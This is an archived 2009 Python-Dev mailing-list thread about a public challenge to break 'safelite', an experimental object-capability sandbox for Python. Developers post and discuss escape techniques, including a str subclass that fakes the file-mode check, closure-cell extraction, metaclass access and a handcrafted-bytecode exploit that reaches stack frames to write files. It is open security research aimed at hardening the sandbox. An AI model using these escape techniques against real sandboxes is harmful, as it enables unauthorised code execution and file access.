Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Martin v. Löwis
 Don't I remember the previous restricted module dying a similar death
 of 1,000 cuts before it was concluded to be unsafe at any height and
 abandoned?

I think you are slightly misremembering. It got cut again and again,
but never died. Then, new-style classes hit an artery, and it bled
to death.

I'm curious how this one fares.

Regards,
Martin
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread tav
  guido  class S(str):
  guido ...   def __eq__(self, o): print o; return 'r' == o
  guido [snip]

Very devious -- @eichin and Guido!

You guys get the price for the cutest exploit yet -- but sadly no
dinner or drinks -- that was just for the first crack -- which goes to
Victor =)

  steve Don't I remember the previous restricted module dying a
  steve similar death of 1,000 cuts before it was concluded
  steve to be unsafe at any height and abandoned?

Steve, this isn't death by a 1,000 cuts. What's being put forward here
is not a specific implementation -- but rather a specific model of
security (the object capability model) -- which has been proven to be
foolproof.

The question here is whether Python can support that. And, my belief
is that it can.

Besides the really nice __eq__ hack, the other exploits so far are
just an inappropriate setup of the environment -- the trick with
object capability is *ensuring* that unsafe references aren't passed
to untrusted code.

In an earlier version of safelite, I even returned the actual file
object when f.close() was called... oops! But that doesn't invalidate
the model or the possibility of using it in Python.

What would invalidate it is someone finding a way to bypass it
completely in Python and this challenge is an attempt to see if we can
find such a way.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Guido van Rossum
On Mon, Feb 23, 2009 at 3:16 PM, Martin v. Löwis mar...@v.loewis.de wrote:
 Don't I remember the previous restricted module dying a similar death
 of 1,000 cuts before it was concluded to be unsafe at any height and
 abandoned?

 I think you are slightly misremembering. It got cut again and again,
 but never died. Then, new-style classes hit an artery, and it bled
 to death.

 I'm curious how this one fares.

FWIW, I am remembering more about how Samuele cracked it. It had to do
with getting the supervisor code to call one of its own functions with
arguments provided by the sandboxed code. Tav's safelite.py doesn't
seem to be directly exploitable that way because (using ctypes hacks)
it *removes* some offending special methods. But that door would be at
least slightly ajar with Tar's proposed patch to Python, as that
doesn't remove the offending attributes (__subclasses__ etc.); it only
forbids them in restricted mode. But this once again enables Samuele's
hack. (Oh if I only could find the link with the actual attack -- it
was quite a bit more devious than attacks linked to so far.)

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Victor Stinner
Le Tuesday 24 February 2009 00:22:19 tav, vous avez écrit :
   guido  class S(str):
   guido ...   def __eq__(self, o): print o; return 'r' == o
   guido [snip]

 Very devious -- @eichin and Guido!

mode = str(mode) is not enough to protect FileReader about evil object 
faking r string. Example without safelite.py:

class Mode(str):
   def __str(__self):
  return self
   def __eq__(self, x):
  return x == 'r'
mode = Mode('w')
mode = str(mode)
assert mode == 'r'  # ok !
f=open('x', mode)  - opened in write mode


... hey! The rules (safelite.py) changed one more time! The check on mode is 
now:

if type(mode) is not type(''):
raise TypeError(mode has to be a string.)

Could you keep all versions of safelite.py? (eg. rename new version as 
safelite2.py, safelite3.py, etc.)

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Greg Ewing

tav wrote:

But that doesn't invalidate
the model or the possibility of using it in Python.


However, there's also the matter of whether it's
*practical* to use the model in Python.

The custom-string exploit illustrates that you have
to be extremely careful what you do with, and
what you assume about, anything given to you by
untrusted code.

How confident is the user of the capability model
going to be that there isn't some other obscure
exploit that he hasn't thought of?

To be able to have confidence in it, a capability
model needs to start with objects having no
capabilities at all, and you deliberately add the
capabilities you want it to have.

But Python objects come by default with a huge
number of capabilities, designed to allow the
programmer to do just about anything he wants
short of wrecking the internals of the interpreter
(wrecking the rest of his computer is fine,
though:-).

And you not only have to think about the
capabilities of the objects that you give to
others, but the capabilities of objects that
others give to you -- and be careful not to
use any of them in a way that could fool you.

So while the model may be theoretically sound,
applying it to Python is not easy to do in a
way that one can have confidence in.

--
Greg
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Victor Stinner
Le Monday 23 February 2009 23:41:30, vous avez écrit :
 http://tav.espians.com/a-challenge-to-break-python-security.html

 Please blog/retweet and of course, try the challenge yourselves =)

The challenge can be seen as: is it possible to read secret in the following 
code without using b.func_code, b.func_globals or b.func_closure:
-
def a():
secret = 42
def b():
print(secret)
return b

b = a()
secret = ???
-


With func_xxx, it's possible to get the secret with:
-
def get_cell_value(cell):
   return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, 
(cell,))()

secret = get_cell_value(b.func_closure[0])  # 42
-
Function found at: http://code.activestate.com/recipes/439096/


But how can we get the closure if b.func_closure doesn't exist? Oh, wait! 
What's this: b.__getattribute__...
-
secret = get_cell_value(b.__getattribute__('func_closure')[0])
-


About FileReader, a full exploit:
-
from safelite import FileReader

def get_cell_value(cell):
   return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, 
(cell,))()

# Create 'w' string which is equals to 'r'
class Mode(str):
  def __str__(self):
return self
  def __eq__(self, x):
return x == 'r'
mode = Mode('w')

f = FileReader('0wn3d', 'w')
fileobj = get_cell_value(f.tell.__getattribute__('func_closure')[0])
fileobj.write('twice!\n')
f.close()
-

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread tav
Hey Victor,

You definitely got to the heart of the challenge.

 f.tell.__getattribute__('func_closure')

But, have you actually run that code?

Cos that doesn't work here... sorry if I missed something...

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Victor Stinner
victor f.tell.__getattribute__('func_closure')

tak But, have you actually run that code?

Ooops, I modified my local copy of safelite.py to disable func_xxx 
protections :-p With the latest version of safelite.py, my exploit doesn't 
work anymore. Sorry.

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Guido van Rossum
Another potential avenue for attacks:

I can access the various class and metaclass objects easily:

 f = FileReader('/etc/passwd')
 f.__class__
class 'safelite.NamespaceObject'
 f.__class__.__metaclass__
class 'safelite.NamespaceContext'
 f.__class__.__metaclass__.__call__
unbound method NamespaceContext.__call__
 f.__class__.__metaclass__.__call__.im_func
function __call__ at 0x66470
 kall = f.__class__.__metaclass__.__call__.im_func


Now calling kall() with appropriate arguments will allow me to let the
supervisor do setattr() operations on any object I have access to. It
will probably end with an exception but that shouldn't matter:

 kall(f.__class__.__metaclass__, [('foo', 47)])
type 'list'
 f.__class__.__metaclass__.foo
47


Insofar as the metaclass has any purpose at all for security this
might let us thwart that purpose...

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread tav
  guido I can access the various class and metaclass objects
  guido easily [snip]

It would've been possible to replace __call__ on the metaclass --
which, though not a security leak by itself, could've been abused for
some fun.

I've inlined the __metaclass__ to prevent fun of this kind.

But the really tricky one so far is this hardcore hack that Paul
Cannon emailed in:

 from safelite import FileReader
 __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 
 2, 4, 67, 
 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
  (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, 
 (TypeError,))
 try:
...   FileReader('foo', 2)
... except:
...   pass
...
 stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')

He explains it in detail here:
http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html

It's very cool!

He uses the ``compile`` builtin to get hold of the CodeType and then
uses that to construct a nifty function with custom bytecode. Turns
out that with the bytecode one can grab traceback objects off of the
stack!!

And, from there, it's just a mere attribute access away to get hold of
traceback.tb_frame!

Paul, wisely, outlines the two possible options to remedy this:

1. Remove ``compile`` from the safe builtins
2. Take out ``tb_frame``

If compile is not present and given that func_code and gi_code are not
present -- are there other ways of getting at the CodeType? If there
aren't then getting rid of compile gives us an easy win.

If getting rid of tb_frame is the approach -- then you were right
Guido -- there are more variables which need to be restricted! But,
this just makes the patch into 7 lines of code instead of 6, so I'm
still happy =)

The only thing I can't figure out is how to get rid of the attribute
using ctypes for the safelite challenge as calling
dictionary_of(TracebackType) in safelite.py presents a very minimal
{'__doc__': None}

Also, the comments in Lib/types.py states:

# In the restricted environment, exc_info returns (None, None,
# None) Then, tb.tb_frame gives an attribute error

I can't seem to find the place in the Python source where exc_info()
behaves differently under restricted mode...

Thoughts on which of the two options is better would be very appreciated!

And thanks for the ongoing hacks guys -- this is turning out great!!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com